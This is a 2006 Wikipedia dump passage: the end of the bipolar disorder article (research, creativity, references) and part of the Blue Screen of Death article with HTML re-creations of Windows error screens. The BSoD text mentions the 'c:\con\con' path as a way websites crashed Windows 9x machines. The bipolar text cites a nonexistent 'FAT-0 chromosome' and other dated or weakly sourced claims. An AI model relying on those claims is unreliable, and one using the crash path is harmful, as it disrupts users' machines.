Researchers are using advanced brain imaging techniques to examine brain function and structure in people with bipolar disorder, particularly using the [[functional MRI]] and [[positron emission topography]].  An important area of neuroimaging research focuses on identifying and characterizing networks of interconnected nerve cells in the brain, interactions among which form the basis for normal and abnormal behaviors. Researchers hypothesize that abnormalities in the structure and/or function of certain brain circuits could underlie bipolar and other mood disorders and studies have found anatomical differences in areas such as the [[subgenual prefrontal cortex]][http://www.neurotransmitter.net/bipolarpfc.html] and [[hippocampus]]. Better understanding of the neural circuits involved in regulating mood states, and genetic factors such as the [[FAT-0 chromosome]] linked to bipolar disorder[http://www.newscientist.com/article.ns?id=dn8572&amp;feedId=online-news_rss20], may influence the development of new and better treatments and may ultimately aid in early diagnosis and even a cure.

===Personality types===
An evolving literature exists concerning the nature of personality and temperament in bipolar disorder patients, compared to major depressive disorder (unipolar) patients and non-sufferers. Such differences may be diagnostically relevant. Using [[Myers-Briggs Type Indicator|MBTI]] continuum scores, bipolar patients were significantly more extroverted,  intuitive and perceiving, and less introverted, sensing, and judging  than were unipolar patients. This suggests that there might be a correlation between the [[Jungian psychology|Jungian]]  extraverted intuiting process and bipolar disorder.

==Research into new treatments==
In late 2003, researchers at McLean Hospital found tentative evidence of improvements in mood during EP-MRSI imaging, and attempts are being made to develop this into a form which can be evaluated as a possible treatment.

NIMH has initiated a large-scale study at twenty sites across the U.S. to determine the most effective treatment strategies for people with bipolar disorder. This study, the Systematic Treatment Enhancement Program for Bipolar Disorder (STEP-BD), will follow patients and document their treatment outcome for 5 to 8 years. For more information, visit the Clinical Trials page of the NIMH Web site.

[[Transcranial magnetic stimulation]] is another fairly new technique being studied.

Pharmaceutical research is extensive and ongoing, as seen at [http://clinicaltrials.gov clinicaltrials.gov].

[[Gene therapy]] and [[nanotechnology]] are two more areas of future development.

==Bipolar disorder and creativity==
[[Image:VanGogh-starry night.jpg|thumb|right|''[[The Starry Night]]'' painted by [[Vincent van Gogh]] in [[1889]] in the hospital for mentally disturbed people in St. Rémy de Provence. Van Gogh is considered to have been affected by bipolar disorder and this painting has high contrasts analagous to extreme bipolar highs and lows, and captures the vibrancy associated with mania.]]

Many artists, musicians, and writers have experienced its mood swings, and some credit the condition with their creativity. However, this disease ruins many lives, and it is associated with a greatly increased risk of [[suicide]]. Psychiatrist [[Kay Redfield Jamison|Kay Jamison]], who herself has bipolar disorder and is considered a leading expert on the disease, has written several books that explore this idea, including &quot;[[Touched with Fire]]&quot;. Research indicates that while mania may contribute to creativity (see Andreasen, 1988), [[hypomanic]] phases, such as those experienced in [[Bipolar II]] and [[cyclothymia]], actually contribute more (see Richards, 1988).  This is perhaps due to the distress and impairment associated with full-blown mania, which may be preceded by  symptoms of hypomania (i.e. increased energy, confidence, activity) but soon spirals into a state much too debilitating to allow much creative endeavor.

Many famous people are believed to have been affected by bipolar disorder, based on evidence in their own writings and contemporaneous accounts by those who knew them. Bipolar disorder is found in disproportionate numbers in people with creative talent such as artists, musicians, authors, poets, and scientists {{citeneeded}}, and it has been speculated that the mechanisms which cause the disorder may be related to those responsible for creativity in these persons.  Many of the historical creative talents commonly cited as bipolar were &quot;diagnosed&quot; retrospectively after their deaths and thus the diagnoses are unverifiable; however, in cases diagnosed in recent decades there does seem to be at least some correlation between bipolar disorder and creativity.  

The possible explanation for this is that hypomanic phases of the illness allow for heightened concentration on activities and the manic phases allow for around-the-clock work with minimal need for sleep. Another theory is that the rapid thinking associated with mania generates a higher volume of ideas, and as well associations drawn between a wide range of seemingly unrelated information. The increased energy also allows for greater volume of production.
See [[list of people believed to have been affected by bipolar disorder]].

==Sources==
* Material from public domain text copied from http://www.nimh.nih.gov/publicat/manic.cfm which states: &quot;All material in this fact sheet is in the public domain and may be copied or reproduced without permission from the Institute. Citation of the source is appreciated.&quot;
* [http://bipolar.about.com/cs/neurontin/a/neurontin_suit.htm 1], [http://www.psycheducation.org/depression/meds/neurontin.htm 2], [http://www.legalnewswatch.com/Neurontin_report.html 3] and [http://www.antidepressantsfacts.com/2003-07-11-Warner-Lambert-whistleblower.htm 4]  Links and references showing that gabapentin (Neurontin) is an inappropriate and ineffective medication for bipolar disorder.
* [http://www.psychlaws.org/BriefingPapers/BP6.pdf Suicide rate of persons with bipolar disorder][http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=12063145&amp;dopt=Abstract]

==References==
&lt;!-- Instructions for adding a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote3]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately proceeds yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step3.
     5) Multiple footnotes to the same reference will not work: you must insert two uniquely named footnotes.
   NOTE: It is important to add the Footnote in the right order in the list.
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#{{Note|quote}} National Institute of Mental Health [http://www.nimh.nih.gov/publicat/manic.cfm NIMH information]
#{{Note|prevalence}} Goodwin &amp; Jamison, p. 163
#{{Note|bipolar2women}} Goodwin &amp; Jamison, p. 166
#{{Note|DSM-IV-TR}}Diagnostic and Statistical Manual of Mental Disorders, Fourth Edition, Text Revision. Washington, DC, American Psychiatric Association, 2000.
#{{Note|Prevalence Rates}} [http://www.wpic.pitt.edu/STANLEY/3rdbipconf/Sessions/sess2main.htm Prevalence Rates]
#{{Note|Gender Differences}}Baldassano, C. F., et al. (2005). Gender differences in bipolar disorder: Retrospective data from the first 500 STEP-BD participants. Bipolar Disorders, 7(5), 465-470.
#{{Note| NIMH Roundtable}} [http://www.nimh.nih.gov/scientificmeetings/pediatric.cfm NIMH Roundtable on Pediatric Bipolar]
#{{Note| Genetic Liklihood}} [http://www.psycheducation.org/depression/risk.htm Genetic Liklihood]
#{{Note|kindling}} [http://www.bpinfo.net/kindling_theory.htm Link and reference involving kindling theory]
#{{Note|Comorbidities}}Krishnan, K.R.R. (2005). Psychiatric and Medical Comorbidities of Bipolar Disorder. Psychosomatic Medicine, 67(1), 1-8.
#{{Note|Pettigrew}}''[http://www.uq.edu.au/nuq/jack/procroysoc.html] A Sticky Interhemispheric Switch In Bipolar Disorder?]'' by John Pettigrew, Steven Miller.
#{{Note|Hakk_2003}} Hakkarainen R, et al. (2003). [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=12795811&amp;dopt=Abstract Seasonal changes, sleep length and circadian preference among twins with bipolar disorder.] ''BMC Psychiatry'' '''3''' (1), 6.
#{{Note|Shap_2004}} Shapira A, et al. (2004). [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14996147 Admission rates of bipolar depressed patients increase during spring/summer and correlate with maximal environmental temperature.] ''Bipolar Disorder'' '''Feb;6''' (1), 90&amp;ndash;3.
#{{Note|New Hope}}Fawcett, J., Golden, B., &amp; Rosenfeld, N. (2000). New Hope for People with Bipolar Disorder. Roseville, CA: Prima Health.
#{{Note|bald_2003}} Baldessarini RJ, et al. (2003). [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=12720484&amp;dopt=Abstract Lithium treatment and suicide risk in major affective disorders: update and new findings.]  ''J Clin Psychiatry'' '''64''' (Suppl 5), 44&amp;ndash;52.
#{{Note|Lamot_1}} [http://www.pslgroup.com/dg/eb8ea.htm 1] and [http://www.psycheducation.org/depression/meds/lamotrigine.htm 2] Links and references showing the promise of lamotrigine (Lamictal) in the treatment of bipolar depression.
#{{Note|epa}} Osher Y, Bersudsky Y, Belmaker RH. Omega-3 eicosapentaenoic acid in bipolar depression: report of a small open-label study. J Clin Psychiatry. 2005;66(6):726&amp;ndash;9. PMID 15960565
#{{Note|Stoll_1999}} Stoll AL, Severus WE, Freeman MP et al. (1999), [http://archpsyc.ama-assn.org/cgi/content/short/56/5/407 Omega 3 fatty acids in bipolar disorder. A preliminary double-blind, placebo-controlled trial.] ''Arch Gen Psychiatry'' 56(5):407-412.
#{{Note|kess_prev}} Kessler RC, Berglund P, Demler O, Jin R, Merikangas KR, Walters EE. Lifetime prevalence and age-of-onset distributions of DSM-IV disorders in the National Comorbidity Survey Replication. Arch Gen Psychiatry. 2005;62(6):593&amp;ndash;602. PMID 15939837
#{{Note|Barr_2003}} Barrett TB, Hauger RL, Kennedy JL, Sadovnick AD, Remick RA, Keck PE, McElroy SL, Alexander M, Shaw SH, Kelsoe JR. [http://www.nature.com/cgi-taf/DynaPage.taf?file=/mp/journal/v8/n5/abs/4001268a.html&amp;dynoptions=doi1056040331 Evidence that a single nucleotide polymorphism in the promoter of the G protein receptor kinase 3 gene is associated with bipolar disorder.] ''Mol Psychiatry.'' 2003 May;8(5):546&amp;ndash;57.

==Further reading==
Classic works on this subject include
* ''Manic-depressive insanity and paranoia''  by [[Emil Kraepelin]]., 1921. ISBN 0405074417 (English translation of the original German from the earlier Eighth Edition of Kraepelin's textbook - now outdated, but a work of major historical importance).
* ''Manic-Depressive Illness'' by Frederick K. Goodwin and Kay Redfield Jamison. ISBN 0195039343 (The standard, very lengthy, medical reference on bipolar disorder.)
*  ''Touched With Fire: Manic-Depressive Illness and the Artistic Temperament'' by Kay Redfield Jamison (The Free Press: Macmillian, Inc., New York, 1993) 1996 reprint: ISBN 068483183X
*  ''An Unquiet Mind: A Memoir of Moods and Madness'' by Kay Redfield Jamison (Knopf, New York, 1995) (An excellent autobiographical work about what it's like to have bipolar disorder, by the woman who is also one of the medical world's experts on it.) ISBN 0330346512
* ''Mind Over Mood: Cognitive Treatment Therapy Manual for Clients'' by Christine Padesky, Dennis Greenberger. ISBN 0898621283
* ''Bipolar Disorder: A Guide for Patients and Families'' by Francis Mondimore M.D., 1999. ISBN 0801861179 (A detailed in-depth book covering all aspects of bipolar disorder: history, causes, treatments, etc.)
* ''The Bipolar Disorder Survival Guide: What You and Your Family Need to Know'' by David J. Miklowitz Ph.D., 2002. ISBN 1572305258  (An excellent practical guide on managing bipolar disorder)

==See also==
* [[List of people believed to have been affected by bipolar disorder]]
* [[List of songs about bipolar disorder]]
* [[Bipolar spectrum]]
* [[Bipolar disorder support groups]]

==External links==
There are numerous online resources on the topic of bipolar disorder; including research organisations, healthcare professionals, support groups and discussion forums. See the following:
* {{dmoz|Health/Mental_Health/Disorders/Mood/Bipolar_Disorder|Bipolar Disorder}}.

&lt;!----&gt;

[[Category:Disability]]
[[Category:Mood disorders]]

[[ar:تعكر المزاج الثنائي القطب]]
[[cs:Maniodepresivní psychóza]]
[[da:Maniodepressiv sindslidelse]]
[[de:Bipolare Störung]]
[[es:Desorden bipolar]]
[[fr:Trouble bipolaire]]
[[gl:Trastorno bipolar]]
[[ko:조울증]]
[[it:Psicosi maniaco-depressiva]]
[[he:הפרעה דו-קוטבית]]
[[lt:Maniakinė depresija]]
[[nl:Bipolaire stoornis]]
[[ja:双極性障害]]
[[pl:Choroba afektywna dwubiegunowa]]
[[pt:Distúrbio bipolar]]
[[ru:Биполярное аффективное расстройство]]
[[fi:Kaksisuuntainen mielialahäiriö]]
[[sv:Bipolärt syndrom]]</text>
    </revision>
  </page>
  <page>
    <title>Blue Screen of Death</title>
    <id>4532</id>
    <revision>
      <id>42141599</id>
      <timestamp>2006-03-04T02:24:13Z</timestamp>
      <contributor>
        <username>Redquark</username>
        <id>104872</id>
      </contributor>
      <comment>clean up</comment>
      <text xml:space="preserve">:''For other uses of BSoD please see [[BSoD (disambiguation)]]''

[[Image:Blue Screen Phone.jpg|thumb|250px|A public [[payphone]] that has failed and is displaying the Blue Screen of Death.]]
The '''Blue Screen of Death (BSoD)''' is the screen displayed by [[Microsoft]]'s [[Microsoft Windows|Windows]] [[operating system]] when it cannot (or is in danger of being unable to) recover from a system error. There are two Windows error screens that are both referred to as the blue screen of death, with one being significantly more serious than the other.

The blue screen of death in one form or another has been present in all Windows operating systems since [[History of Microsoft Windows|Windows version 3.1]].  It is related to the [[black screen of death]] in [[OS/2]]. In early builds of [[Windows Vista]] it was complemented with the red screen of death, used for [[boot loader]] errors.

==Types of blue screens==
===Windows NT/2000/XP===
[[Image:Windows_XP_BSOD.png|thumb|right|Windows XP]]
[[Image:Windows 2000 BSoD.png|thumb|right|Windows 2000 (can be configured to display debug info like the example below)]]
[[Image:Windows NT 3.5 BSoD.png|thumb|right|Windows NT 3.5]]
In [[Windows NT]], [[Windows 2000]], and [[Windows XP]], a blue screen of death occurs when the [[kernel (computer science)|kernel]], or a driver running in [[kernel mode]], encounters an error from which it cannot recover. This is usually caused by a driver that throws an unhandled [[exception handling|exception]] or performs an illegal operation. The only safe action the operating system can take in this situation is to restart the computer. As a result, user data may be lost, because users are not given an opportunity to save data that has not yet been saved to disk. Note that by default, 2000 and XP restarts immediately instead of displaying the error.

Blue screens are known as &quot;Stop errors&quot; in the Windows Resource Kit documentation.  They are referred to as &quot;[[bug check]]s&quot; in the Windows SDK, DDK, and WDK documentation..

The &quot;Stop&quot; message contains the error code and its symbolic name (e.g. 0x0000001E, KMODE_EXCEPTION_NOT_HANDLED) along with four error-dependent values in parentheses. Depending on the error code, it may display the address where the problem occurred, along with the driver which is loaded at that address. Under Windows NT and 2000, the second and third sections of the screen contain information on all  loaded drivers and a stack dump, respectively. The driver information is in three columns; the first lists the base address of the driver, the second lists the driver's creation date (as a [[Unix timestamp]]), and the third lists the name of the driver. &lt;small&gt;(Microsoft et al, 1996)&lt;/small&gt;

By default, Windows will create a [[memory dump]] file when a blue screen error occurs. Depending on the OS version, there may be several formats this can be saved in, ranging from a 64K &quot;minidump&quot; to a &quot;complete dump&quot; which is effectively a copy of the entire contents of physical RAM. The resulting memory dump file may be debugged later, using a kernel [[debugger]]. A debugger is necessary to obtain a [[stack (computing)|stack]] trace, and may be required to ascertain the true cause of the problem; as the information onscreen is limited and thus possibly misleading, it may hide the true source of the error.

Windows can also be configured to send live debugging information to a kernel debugger running on a separate computer. (Windows XP also allows for local kernel debugging.)  If a blue screen error is encountered while a live kernel debugger is attached to the system, Windows will halt execution and cause the debugger to &quot;break in&quot;, rather than displaying the BSoD. The debugger can then be used to examine the contents of memory and determine the source of the problem.

The Windows debugger is available as a free download from Microsoft. [http://www.microsoft.com/whdc/devtools/debugging/default.mspx]

Windows includes a feature that can be used to manually cause a blue screen. To enable it, the user must add a value to the [[Windows registry]]. After that, a BSoD will appear when the user presses the SCROLL LOCK key twice while holding the right CTRL key. [http://support.microsoft.com/default.aspx?scid=kb;en-us;244139] This feature is primarily useful for obtaining a memory dump of the computer while it is in a given state. As such, it is generally used to aid in troubleshooting system hangs.

A BSoD can also be caused by a critical boot loader error, where the operating system is unable to access the boot partition due to incorrect storage drivers or similar problems. The error code in this situation is STOP 0x0000007B (INACCESSIBLE_BOOT_DEVICE). In such cases, there is no memory dump saved. Since the system is unable to boot in this situation, correction of the problem may require booting with the Microsoft Windows CD. After booting to the CD, it may be possible to correct the problem by performing a repair install or by using the Recovery Console (with [[CHKDSK]]).

===ReactOS===
[[ReactOS]], an attempt at creating [[open-source]] implementation of Windows NT-compatible [[operating system]], also features its own BSoD similar to the Windows NT one (see the gallery below).

===Windows 9x/Me===
[[Image:Windows_9X_BSOD.png|thumb|right|Windows 9x]]
The blue screen of death also occurs in Microsoft's home desktop operating systems [[Windows 95]], [[Windows 98|98]], and [[Windows Me|Me]]. Here it is less serious, but more common. In these operating systems, the BSoD is the main way for [[VxD|virtual device drivers]] to report errors to the user. It is internally referred to by the name of &quot;_VWIN32_FaultPopup&quot;. A Windows 9x/Me BSoD gives the user the option to either restart or continue. However, VxDs do not display BSoDs frivolously—they usually indicate a problem which cannot be fixed without restarting the computer, and hence after a BSoD is displayed the system is usually unstable or unresponsive.

The most common reason for BSoD'ing is problems with incompatible versions of [[dynamically linked library|DLL]]s. This cause is sometimes referred to as [[DLL hell]]. Windows loads these DLLs into memory when they are needed by application programs; if versions are changed, the next time an application loads the DLL it may be different from what the application expects. These incompatibilities increase over time as more new software is installed, and is one of the main reasons why a freshly-installed copy of Windows is more stable than an &quot;old&quot; one.

In Windows 95 and 98, a BSoD occurs when the system attempts to access the file &quot;c:\con\con&quot;. This is often inserted on websites to crash users' machines. Microsoft has released a patch for this. [http://www.microsoft.com/technet/security/bulletin/ms00-017.mspx]

The BSoD can appear if a user ejects a [[removeable media|removable medium]] while it is being read on 9x/ME. This is particularly common while using [[Microsoft Office]], if a user simply wants to view a document, he might eject a floppy disk before exiting the program. Since Microsoft Office always creates a temporary file in the same directory, it will trigger a BSoD upon exiting because it will attempt to delete the file on the disk that is no longer in the drive.

This type of blue screen is no longer seen in Windows NT, 2000, and XP. In the case of these less serious software errors, the program may still crash, but it will not take down the entire operating system with it due to better [[memory management]] and decreased [[legacy support]]. In these systems, the &quot;true&quot; BSoD is seen only in cases where the entire operating system crashes.

==Display==
By default, the display is white ([[Enhanced Graphics Adapter|EGA]] color 0x0F; [[HTML]] color #FFFFFF) lettering on a blue (EGA color 0x01; HTML color #0000AA) background, with information about current memory values and register values. For visually impaired users, Microsoft has added a utility that allows the user to change a setting in &lt;code&gt;system.ini&lt;/code&gt; that controls the colors that the BSoD code uses to any of the 16 EGA colors.

Windows 95, 98 and Me use 80x25 text mode. The font is identical to [[Fixedsys]]. The Windows NT BSoD uses 80x50 text mode. The screen resolution is 720x400. The XP BSoD uses font [[Lucida Console]].

===Windows XP===
The following is a re-creation of a Windows XP BSoD:
&lt;div style=&quot;display:block;width:640px;height:480px;background:#000082;color:white;padding:0px;whitespace:pre;font:14px/14px Lucida Console,fixedsys, terminal, courier, monospace; direction: ltr; letter-spacing: normal; text-align: left; text-decoration: none;&quot;&gt;&lt;br&gt; A problem has been detected and Windows has been shut down to prevent damage&lt;br&gt; to your computer.&lt;br&gt;&lt;br&gt;PFN_LIST_CORRUPT&lt;br&gt;&lt;br&gt;If this is the first time you've seen this error screen,&lt;br&gt;restart your computer. If this screen appears again, follow&lt;br&gt;these steps:&lt;br&gt;&lt;br&gt;Check to make sure any new hardware or software is properly installed.&lt;br&gt;If this is a new installation, ask your hardware or software manufacturer&lt;br&gt;for any Windows updates you might need.&lt;br&gt;&lt;br&gt;If problems continue, disable or remove any newly installed hardware&lt;br&gt;or software. Disable BIOS memory options such as caching or shadowing.&lt;br&gt;If you need to use Safe Mode to remove or disable components, restart&lt;br&gt;your computer, press F8 to select Advanced Startup Options, and then&lt;br&gt;select Safe Mode.&lt;br&gt;&lt;br&gt;&lt;br&gt;Technical information:&lt;br&gt;&lt;br&gt;&lt;nowiki&gt;***&lt;/nowiki&gt; STOP: 0x0000004e (0x00000099, 0x00000000, 0x00000000, 0x00000000)&lt;br&gt;&lt;br&gt;&lt;br&gt;Beginning dump of physical memory&lt;br&gt;Physical memory dump complete.&lt;br&gt;Contact your system administrator or technical support group for further&lt;br&gt;assistance.
&lt;/div&gt;

Second example:
&lt;div style=&quot;display:block;width:640px;height:480px;background:#000082;color:white;padding:0px;whitespace:pre;font:14px/14px Lucida Console,fixedsys, terminal, courier, monospace; direction: ltr; letter-spacing: normal; text-align: left; text-decoration: none;&quot;&gt;&lt;br&gt; A problem has been detected and Windows has been shut down to prevent damage&lt;br&gt; to your computer.&lt;br&gt;&lt;br&gt;An attempt was made to write to read-only memory.&lt;br&gt;&lt;br&gt;If this is the first time you've seen this error screen,&lt;br&gt;restart your computer. If this screen appears again, follow&lt;br&gt;these steps:&lt;br&gt;&lt;br&gt;Check to make sure any new hardware or software is properly installed.&lt;br&gt;If this is a new installation, ask your hardware or software manufacturer&lt;br&gt;for any Windows updates you might need.&lt;br&gt;&lt;br&gt;If problems continue, disable or remove any newly installed hardware&lt;br&gt;or software. Disable BIOS memory options such as caching or shadowing.&lt;br&gt;If you need to use Safe Mode to remove or disable components, restart&lt;br&gt;your computer, press F8 to select Advanced Startup Options, and then&lt;br&gt;select Safe Mode.&lt;br&gt;&lt;br&gt;&lt;br&gt;Technical information:&lt;br&gt;&lt;br&gt;&lt;nowiki&gt;***&lt;/nowiki&gt; STOP: 0X000000BE (0XF90A0905, 0X01CD5121, 0X8055616C, 0X0000000A)&lt;br&gt;&lt;br&gt;***      NDIS.sys – Address F90A0905 base at F9083000, Datestamp 41107ec3&lt;br&gt;&lt;br&gt;&lt;br&gt;Beginning dump of physical memory&lt;br&gt;Physical memory dump complete.&lt;br&gt;Contact your system administrator or technical support group for further&lt;br&gt;assistance.
&lt;/div&gt;

===Windows 2000===
The Windows 2000 BSoD looks like this:
&lt;div style=&quot;display:block;width:640px;height:480px;background:#000082;color:#fff;padding:0px;whitespace:pre;font:14px bold;font-family:fixedsys, terminal, courier, monospace;&quot;&gt;&lt;br&gt;STOP: c000026c {Unable to Load Device Driver}&lt;br&gt;\SystemRoot\System32\Drivers\Fdc.SYS device driver could not be loaded.&lt;br&gt;Error Status was 0xc000012f&lt;br&gt;&lt;br&gt;If this is the first time you've seen this Stop error screen,&lt;br&gt;restart your computer. If this screen appears again, follow&lt;br&gt;these steps:&lt;br&gt;&lt;br&gt;Check to make sure any new hardware or software is properly installed.&lt;br&gt;If this is a new installation, ask your hardware or software manufacturer&lt;br&gt;for any Windows 2000 updates you might need.&lt;br&gt;&lt;br&gt;If problems continue, disable or remove any newly installed hardware&lt;br&gt;or software. Disable BIOS memory options such as caching or shadowing.&lt;br&gt;If you need to use Safe Mode to remove or disable components, restart&lt;br&gt;your computer, press F8 to select Advanced Startup Options, and then&lt;br&gt;select Safe Mode.&lt;br&gt;&lt;br&gt;Refer to your Getting Started manual for more information on&lt;br&gt;troubleshooting Stop errors.&lt;br&gt;
&lt;/div&gt;

===Windows NT3/4===
The Windows NT3/4 BSoD looks like this:
&lt;div style=&quot;display:block;width:640px;Height:680px;background:#00a;color:#fff;padding:0px;whitespace:pre;font:14px bold;font-family:fixedsys, terminal, courier, monospace;&quot;&gt;&lt;br&gt;*** STOP: 0x0000000A (0x00000000, 0x00000002, 0x00000000, 8038c510)&lt;br&gt;IRQL_NOT_LESS_OR_EQUAL*** Address 8038c510 has base at 8038c000 - Ntfs.sys&lt;br&gt;&lt;br&gt;CPUID:AuthenticAMD irq1:1f  SYSVER 0xf0000565&lt;br&gt;&lt;br&gt;Dll Base DateStmp - Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dll Base DateStmp - Name&lt;br&gt;80100000 336546bf - ntoskrnl.exe&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;80010000 33247f88 - hal.dll&lt;br&gt;80000100 334d3a53 - atapi.sys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;80007000 33248043 - SCSIPORT.SYS&lt;br&gt;802ab000 33013e6b - epst.mpd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;802b5000 336016a2 - Disk.sys&lt;br&gt;802b9000 336015af - CLASS2.SYS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8038c000 3356d637 - Ntfs.sys&lt;br&gt;802bd000 33d844be - Floppy.sys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;803e4000 33d84553 - viaide.sys&lt;br&gt;f9328000 31ec6c8d - Siwvid.sys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f95c9000 31ec6c99 - Null.SYS&lt;br&gt;f9468000 31ed868b - KSecDD.sys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f95cb000 335e60cf - Beep.SYS&lt;br&gt;f9348000 335bc82a - i8024prt.sys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f95cb000 3373c39d - ctrl2cap.SYS&lt;br&gt;f947c000 31ec6c94 - kbdclass.sys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f9474000 3324806f - mouclass.sys&lt;br&gt;f9370000 33248011 - VIDEOPORT.SYS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fe9d7000 3370e7b9 - NDIS.SYS&lt;br&gt;f9480000 31ec6c6d - vga.sys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f93b0000 332480dd - Msfs.SYS&lt;br&gt;f90f0000 332480d0 - Npfs.sys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fe957000 3356da41 - ati.sys&lt;br&gt;a0000000 335157ac - win32k.sys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fe914000 334ea144 - ati.dll&lt;br&gt;fe0c9000 335bd30e - Fastfat.SYS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fe110000 31ec6c9b - Parport.SYS&lt;br&gt;fe108000 31ec6c9b - Serial.sys&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f93b4000 31ec7c9d - ParVdm.SYS&lt;br&gt;f9050000 332480ab - Parallel.sys&lt;br&gt;&lt;br&gt;Address  dword dump   Build [1314]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- Name&lt;br&gt;801afc24 80149905 80149905 ff8e6b8c 80129c2c ff8e6b94 8025c000 - Ntfs.SYS&lt;br&gt;801afd24 80129c2c 80129c2c ff8e6b94 00000000 ff8e6b94 80100000 - ntoskrnl.exe&lt;br&gt;801afd34 801240f2 80124f02 ff8e6cf4 ff8e6d60 ff8e6c58 80100000 - ntoskrnl.exe&lt;br&gt;801afd54 80124a16 80124a16 ff8e6f60 ff8e6c3c 8015ac7e 80100000 - ntoskrnl.exe&lt;br&gt;801afd64 8015ac7e 8015ac7e ff8e6cf4 ff8e6f60 ff8e6c58 80100000 - ntoskrnl.exe&lt;br&gt;801afc70 80129bda 80129bda 00000000 80088000 80106f60 80100000 - ntoskrnl.exe&lt;br&gt;&lt;br&gt;Restart and set the recovery options in the system control panel&lt;br&gt; or the /CRASHDEBUG system start option. If this message reappears,&lt;br&gt;contact your system administrator or technical support group.
&lt;/div&gt;

===Windows 95/98===
The following is a re-creation of a Windows 95/98 BSoD:

&lt;div style=&quot;display:block;width:640px;background:#00a;color:#fff;padding:60px;whitespace:pre;font:14px bold;font-family:fixedsys, terminal, courier, monospace;text-align:left;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;span style=&quot;margin:1em auto;color:#00a;background:#aaa;font:14px bold;font-family:fixedsys, terminal, courier, monospace&quot;&gt;&amp;nbsp;Windows&amp;nbsp;&lt;/span&gt;&lt;div style=&quot;text-align:left;&quot;&gt;
&lt;br&gt;&lt;nowiki&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;A fatal exception 0E has occurred at 0157:BF7FF831 in VXD VMM(01) +&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;00010E36. The current application will be terminated.&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;&amp;nbsp;Press any key to terminate the current application.&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
